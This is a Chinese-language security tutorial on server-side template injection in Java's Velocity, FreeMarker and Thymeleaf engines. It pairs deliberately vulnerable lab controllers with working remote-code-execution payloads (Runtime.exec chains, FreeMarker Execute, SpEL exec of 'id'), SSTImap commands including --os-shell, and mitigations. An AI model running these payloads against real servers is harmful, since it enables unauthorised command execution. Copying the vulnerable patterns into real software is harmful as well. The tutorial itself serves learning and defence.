文章目录
- 前言
- Velocity
- 基础语法
- 基础示例
- 命令执行
- 靶场实践
- 漏洞代码
- 漏洞验证
- 检测工具
- FreeMarker
- 基础示例
- 漏洞示例
- CMS案例
- Thymeleaf
- 基础示例
- 漏洞示例
- 安全方案
- 总结
前言
SSTI(Server Side Template Injection)全称服务端模板注入漏洞,在 Java 中常用的模板引擎有 FreeMarker、Velocity、Thymeleaf、Spring View Manipulation、Pebble、JinJava 及 Hubspot 等等。
所谓模版引擎,简单来讲就是利用模版语言的特定语法处理模版中的特定参数,帮助动态渲染数据到 view 层或生成电子邮件、配置文件、HTML 网页等输出文本。模板引擎支持在运行时使用 HTML 页面中的实际值替换变量/占位符,从而让 HTML 页面的设计变得更容易。但是如果没有对用户的输入进行校验,对恶意类进行了调用,就会造成任意代码执行等危害。
常见的可能存在 SSTI 漏洞的模板引擎信息如下:
本文主要学习 Java 项目常见的三大模板引擎(Velocity、FreeMarker、Thymeleaf)的 SSTI 漏洞原理与利用。常见的模板引擎的语法及 payload 总结可参见:PayloadsAllTheThings/Server Side Template Injection。
Velocity
Velocity 是一个基于 Java 的模板引擎,广泛运用于 Java 项目中,Velocity 可用于从模板生成网页、SQL、PostScript 和其他输出。它既可以用作生成源代码和报告的独立实用程序,也可以用作其他系统的集成组件。近年来不少中间件服务器,如 Solr、协同办公软件、confluence、 Jria 等,陆续被爆存在 velocity 模版注入漏洞(CVE-2019-17558、CVE-2019-3394、CVE-2021-43947等)。下文以 Velocity 模板引擎为主,来学习下 SSTI 注入的原理和利用。
基础语法
官方指导文档:https://velocity.apache.org/engine/1.7/user-guide.html。
VTL (Velocity Template Language) 大致语法如下所示:
语法组成 | 详细信息 |
---|---|
语句标识符 | # 用来标识 Velocity 的脚本语句,包括 #set、#if 、#else、#end、#foreach、#end、#include、#parse、#macro 等语句。 |
变量 | $ 用来标识一个变量,比如模板文件中为 Hello $a ,可以获取通过上下文传递的$a |
声明 | set 用于声明 Velocity 脚本变量,变量可以在脚本中声明,比如#set($a ="velocity") |
注释 | 单行注释为 ##,多行注释为成对出现的#* ............. *# |
变量属性 | 通过. 操作符使用变量的内容,比如获取并调用 getClass():#set($e=“e”) $e.getClass() |
一个简单的示例:
<html>
<body>
#set( $foo = "Velocity" )
Hello $foo World!
</body>
</html>
基础示例
创建一个 Maven 项目,在 pom.xml 导入以下依赖:
<!-- https://mvnrepository.com/artifact/org.apache.velocity/velocity -->
<dependency>
<groupId>org.apache.velocity</groupId>
<artifactId>velocity</artifactId>
<version>1.7</version>
</dependency>
在资源文件夹路径下创建如下模板 src/main/resources/test.vm:
Hello World! The first velocity demo.
Name is $name.
Project is $project
然后在主程序编写如下 Velocity 模板引擎的测试代码:
public static void main(String[] args) {
VelocityEngine velocityEngine = new VelocityEngine();
velocityEngine.setProperty(VelocityEngine.RESOURCE_LOADER, "file");
velocityEngine.setProperty(VelocityEngine.FILE_RESOURCE_LOADER_PATH, "src/main/resources");
velocityEngine.init();
VelocityContext context = new VelocityContext();
context.put("name", "Tr0e");
context.put("project", "Velocity");
Template template = velocityEngine.getTemplate("test.vm");
StringWriter sw = new StringWriter();
template.merge(context, sw);
System.out.println("final output:\n" + sw);
}
解释下上述代码:
- 首先通过 VelocityEngine 创建模板引擎,接着
velocityEngine.setProperty
设置模板路径src/main/resources
、加载器类型为 file; - 然后通过
velocityEngine.init()
完成引擎初始化; - 接着通过 VelocityContext() 创建上下文变量,通过
put
添加模板中使用的变量到上下文; - 进一步通过
getTemplate
选择路径中具体的模板文件test.vm
,创建 StringWriter 对象存储渲染结果; - 最后将上下文变量传入
template.merge
进行渲染。
运行结果如下所示:
上面的案例为了简单起见,通过控制台输出 Velocity 模板引擎渲染的数据,实际项目中大部分是将渲染结果通过 html 进行前端展示。
命令执行
而如果 Velocity 引擎加载的模板可以被攻击者控制,便可以导致系统存在命令注入的风险。
来实践体验一下,修改模板 test.vm,在文件头部添加内容如下:
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("gnome-calculator")
其它内容均不变,重新运行 main 程序,可以看到成功执行打开计算器的命令:
【More】上面代码等价于,即行换符号可使用分号替代(即使分号直接去掉也 ok):
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("gnome-calculator")
【思考】如果上面的缺陷代码,攻击者可以修改的不是整个 template 模板,而是模板中某个变量的值(比如上面例子的 name 变量),能否也实现 RCE?
VelocityContext context = new VelocityContext();
context.put("name", "Tr0e");
context.put("project", "Velocity");
控制某个输出变量可能在实战中遇到的概率比较大,但是本人实践下来并无法实现 RCE,比如替换上面的 name 变量的值 “Tr0e”,修改后的恶意的 Payload 并不会作为执行,而是当作普通字符串赋值给 name 变量。
靶场实践
Java 综合靶场:https://github.com/JoyChou93/java-sec-code。
漏洞代码
https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSTI.java
@RestController
@RequestMapping("/ssti")
public class SSTI {
/**
* SSTI of Java velocity. The latest Velocity version still has this problem.
* Fix method: Avoid to use Velocity.evaluate method.
* <p>
* http://localhost:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20Calculator%22)
* Open a calculator in MacOS.
*
* @param template exp
*/
@GetMapping("/velocity")
public void velocity(String template) {
Velocity.init();
VelocityContext context = new VelocityContext();
context.put("author", "Elliot A.");
context.put("address", "217 E Broadway");
context.put("phone", "555-1337");
StringWriter swOut = new StringWriter();
Velocity.evaluate(context, swOut, "test", template);
}
}
这段漏洞代码的 template 模板完全由外部传递,显然存在 SSTI 漏洞。需要注意的是:这段漏洞代码跟我们上面的示例代码有所差别,此处采用的是调用Velocity.evaluate
函数对传递进来的 template 模板进行渲染,上文示例代码则采用的是template.merge
函数进行渲染,需要注意这两个 Sink 点是异曲同工的,代码审计过程需要一并关注。
【More】从《CVE-2019-3396 Confluence Velocity SSTI漏洞浅析》文章的分析调试可以看到,CVE-2019-3396 漏洞的代码 sink 点便是
template.merge
,其中 template 外部攻击者可控,详情请阅读原文。
漏洞验证
POC 如下:
http://192.168.147.197:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22touch%20/tmp/evil2.txt%22)
成功执行命令创建文件:
检测工具
SSTI 开源漏洞检测与漏洞利用工具:https://github.com/vladko312/SSTImap,支持的模板引擎:https://github.com/vladko312/SSTImap#supported-template-engines。
λ python sstimap.py -u "http://192.168.147.49:8080/ssti/velocity?template=*" -C "JSESSIONID=39779FDC377151009D7FDA904ABBA200; XSRF-TOKEN=fe364f34-83db-47b5-b856-cad98f05e1e e; remember-me=YWRtaW46MTcxOTYzMDAyNDkzMTowMjdiOTIyZTQzMmY0Y2VjOTQ1Y2QwMGY5YmU3OTY1Mw"
支持进行命令交互:
可惜这个靶场是个盲注无回显的靶场:
λ python sstimap.py -u "http://192.168.147.49:8080/ssti/velocity?template=123" -C "JSESSIONID=39779FDC3771510 09D7FDA904ABBA200; XSRF-TOKEN=fe364f34-83db-47b5-b856-cad98f05e1ee; remember-me=YWRtaW46MTcxOTYzMDAyNDkzMTowMjdiOTIyZTQzMmY0Y2VjOTQ1Y2QwMGY5YmU3OTY1Mw" --os-shell
FreeMarker
FreeMarker 中文官网:http://freemarker.foofun.cn/index.html。
基础示例
FreeMarker 是一款 Java 语言编写的模板引擎,它是一种基于模板和程序动态生成的数据,动态生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。它不是面向最终用户的,而是一个 Java 类库,是一款程序员可以嵌入他们所开发产品的组件。
FreeMarker 模板文件主要由如下 4 个部分组成:
- 文本:包括 HTML 标签与静态文本等静态内容,该部分内容会原样输出;
- 注释:使用
<#-- ... -->
格式做注释,里面内容不会输出; - 插值:即
${...}
或#{...}
格式的部分,类似于占位符,将使用数据模型中的部分替代输出; - FTL 指令:即 FreeMarker 指令,全称是:FreeMarker Template Language,和 HTML 标记类似,但名字前加
#
予以区分,不会输出。
【基础示例】
在 Maven 项目的 pom.xml 中引入依赖:
<!-- https://mvnrepository.com/artifact/org.freemarker/freemarker -->
<dependency>
<groupId>org.freemarker</groupId>
<artifactId>freemarker</artifactId>
<version>2.3.31</version>
</dependency>
在资源文件夹路径下创建如下src/main/resources/SSTI/hello.ftl
模板文件:
<html>
<head>
<meta charset="utf-8">
<title>Freemarker入门</title>
</head>
<body>
<#--我只是一个注释,我不会有任何输出 -->
${name}你好,${message}
</body>
</html>
然后在主程序编写如下 FreeMarker 模板引擎的测试代码:
public static void main(String[] args) throws IOException, TemplateException {
//1.创建配置类
Configuration configuration = new Configuration(Configuration.getVersion());
//2.设置模板所在的目录
configuration.setDirectoryForTemplateLoading(new File("src/main/resources/SSTI"));
//3.设置字符集
configuration.setDefaultEncoding("utf-8");
//4.加载模板
Template template = configuration.getTemplate("hello.ftl");
//5.创建数据模型
Map map=new HashMap();
map.put("name", "Tr0e");
map.put("message", "欢迎来到我的博客!");
//6.创建Writer对象
Writer out =new FileWriter(new File("src/main/resources/hello.html"));
//7.输出
template.process(map, out);
//8.关闭Writer对象
out.close();
}
运行程序,可成功借助 FreeMarker 模板引擎渲染、生成 html 文件:
漏洞示例
同样的,如果 template 模板攻击者可控,那么便存在 SSTI 注入导致的任意代码执行漏洞。
修改src/main/resources/SSTI/hello.ftl
模板文件,如下:
<html>
<head>
<meta charset="utf-8">
<title>Freemarker入门</title>
</head>
<body>
<#--我只是一个注释,我不会有任何输出 -->
${name}你好,${message}
<h3>
<#assign value="freemarker.template.utility.Execute"?new()>${value("gnome-calculator")}
</h3>
</body>
</html>
程序其它内容均保持不变,重新运行 main,即可发现成功执行打开计算器的命令:
综上,如果 FreeMarker 模板引擎的 template 外部可控且未经任何校验,将导致系统存在 RCE 风险。
【漏洞防御】
Configuration configuration = new Configuration();
configuration.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
设置上述代码会加入一个校验,将freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor
等危险 Class 过滤。
CMS案例
参见《从ofcms的模板注入漏洞(CVE-2019-9614)浅析SSTI漏洞》,介绍了一个 CMS 采用 FreeMarker 模板引擎导致的 RCE 漏洞。
先登录进 ofcms 的后台 admin 管理界面,然后再模板文件中课编辑 Freemarker 的模板代码,随机挑选一个幸运页面,进行 payload 注入:
然后从前台进入该页面(联系我们):
即可触发系统命令执行的操作:
这个案例在实战中很常见,因为后台管理系统经常会提供各种前台界面模板编辑的功能,此时需留意是否存在 SSTI 漏洞。
Thymeleaf
Thymeleaf 官方指导文档:https://www.thymeleaf.org/documentation.html,中文介绍参考:https://fanlychie.github.io/post/thymeleaf.html。
基础示例
Thymeleaf 是一个服务器端 Java 模板引擎,能够处理 HTML、XML、CSS、JAVASCRIPT 等模板文件。Thymeleaf 模板可以直接当作静态原型来使用,它主要目标是为开发者的开发工作流程带来优雅的自然模板,也是 Java 服务器端 HTML5 开发的理想选择。
Thymeleaf 模板引擎支持多种表达式:
- 变量表达式:
${...}
- 选择变量表达式:
*{...}
- 链接表达式:
@{...}
- 国际化表达式:
#{...}
- 片段引用表达式:
~{...}
直接通过一个示例代码来看看此模板引擎如何使用,Github 有个开源示例项目:spring-view-manipulation。
这是一个 SpringBoot 项目,先看其 pom.xml 引入的 Thymeleaf 依赖:
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
</dependencies>
具体的控制器代码:HelloController.java
@Controller
public class HelloController {
Logger log = LoggerFactory.getLogger(HelloController.class);
@GetMapping("/")
public String index(Model model) {
model.addAttribute("message", "happy birthday");
return "welcome";
}
//GET /path?lang=en HTTP/1.1
//GET /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}
//GET /fragment?section=main
//GET /fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22touch%20executed%22).getInputStream()).next()%7d__::.x
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "welcome :: " + section; //fragment is tainted
}
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}
@GetMapping("/safe/fragment")
@ResponseBody
public String safeFragment(@RequestParam String section) {
return "welcome :: " + section; //FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name
}
@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
return "redirect:" + url; //FP as redirects are not resolved as expressions
}
@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document); //FP
}
}
提供了 Thymeleaf 引擎的基础应用示例、SSTI 漏洞示例、以及安全修复示例。先来关注基础应用示例:
@GetMapping("/")
public String index(Model model) {
model.addAttribute("message", "happy birthday");
return "welcome";
}
由于使用了@Controller
和@GetMapping("/")
注解,因此将对根 url (‘/’) 的每个 HTTP GET 请求调用此方法。它没有任何参数,并返回一个静态字符串“welcome",然而 Spring 框架将“welcome”解释为视图名称,并尝试查找位于应用程序资源中的文件“**resources/templates/welcome.html**
”。如果找到它,它将呈现模板文件中的视图并返回给用户。
如果正在使用 Thymeleaf 视图引擎(这是 Spring 中最流行的),则模板 welcome.html
可能如下所示:
<!DOCTYPE HTML>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<div th:fragment="header">
<h3>Spring Boot Web Thymeleaf Example</h3>
</div>
<div th:fragment="main">
<span th:text="'Hello, ' + ${message}"></span>
</div>
</html>
运行此 SpringBoot 项目,访问站点根路径,可以看到返回了预期的视图:
其中model.addAttribute("message", "happy birthday");
设置的 “happy birthday” 字符串成功传递到了 welcome.html 的 message 变量之中,这就是 Thymeleaf 模板引擎发挥的解析和渲染作用。
漏洞示例
从安全角度来看,可能会出现模板名称或片段与不受信任的数据连接的情况。例如,使用 request 参数:
//GET /path?lang=en HTTP/1.1
//GET /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}
Payload 已经在注释中提供了:
/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x
成功执行命令:
此路由正常的业务则是访问:
【注意】上面可以看到当用户控制的数据 (URI) 直接进入视图名称并解析为表达式时,Thymeleaf 模板引擎也变得容易受到攻击。 故 Thymeleaf 模板引擎 SSTI 注入漏洞存在一个与前面 Velocity、FreeMarker 引擎不同的利用点:在模板名称受外部控制的情况下,也可能导致 Thymeleaf SSTI 注入。
安全方案
Safe case: ResponseBody
在某些情况下,控制器会返回使用受控值,但它们不容易受到视图名称操作的影响。例如,当控制器带有 @ResponseBody 注释时:
@GetMapping("/safe/fragment")
@ResponseBody
public String safeFragment(@RequestParam String section) {
return "welcome :: " + section; //FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name
}
在这种情况下,Spring Framework 不会将其解释为视图名称,而只是在 HTTP 响应中返回此字符串。这同样适用于类上的@RestController
,因为它在内部继承@ResponseBody
。
实践一下:
Safe case: Response is already processed
@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document); //FP
}
这种情况与前面的易受攻击示例之一非常相似,但由于控制器在参数中具有 HttpServletResponse,Spring 认为它已经处理了 HTTP 响应,因此视图名称解析不会发生。此检查存在于 ServletResponseMethodArgumentResolver 类中。
Safe case: A redirect
@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
return "redirect:" + url; //CWE-601, as we can control the hostname in redirect
}
当视图名称被预置时 “redirect:” ,逻辑也不同。在这种情况下,Spring 不再使用 Spring ThymeleafView,而是使用 RedirectView,它不执行表达式计算。此示例仍然存在开放重定向漏洞,但它肯定不像通过表达式计算的 RCE 那样危险。
总结
本文通过具体的漏洞实例代码,分析、总结了 Java 项目常见的三大模板引擎(Velocity、FreeMarker、Thymeleaf)的 SSTI 漏洞原理与利用方法。虽然相应的模板引擎 SSTI 注入漏洞基本上都拥有 CVE 编号和安全版本,当时在开发人员错误引入存在漏洞缺陷的模板引擎版本的情况下,目标系统依旧存在 RCE 风险。其它模板引擎的 SSTI 漏洞利用基本上同理,实战遇到的话,查询官方语法指导文档后现学现卖即可。
本文参考文章如下:
- javaweb代码审计学习(SSTI漏洞);
- Java模版引擎注入(SSTI)漏洞研究 - 郑瀚Andrew ;
- CVE-2019-3396 Confluence Velocity SSTI漏洞浅析;
- 服务器端模版注入SSTI分析与归纳 - 跳跳糖;
- 从ofcms的模板注入漏洞(CVE-2019-9614)浅析SSTI漏洞;
- https://github.com/veracode-research/spring-view-manipulation。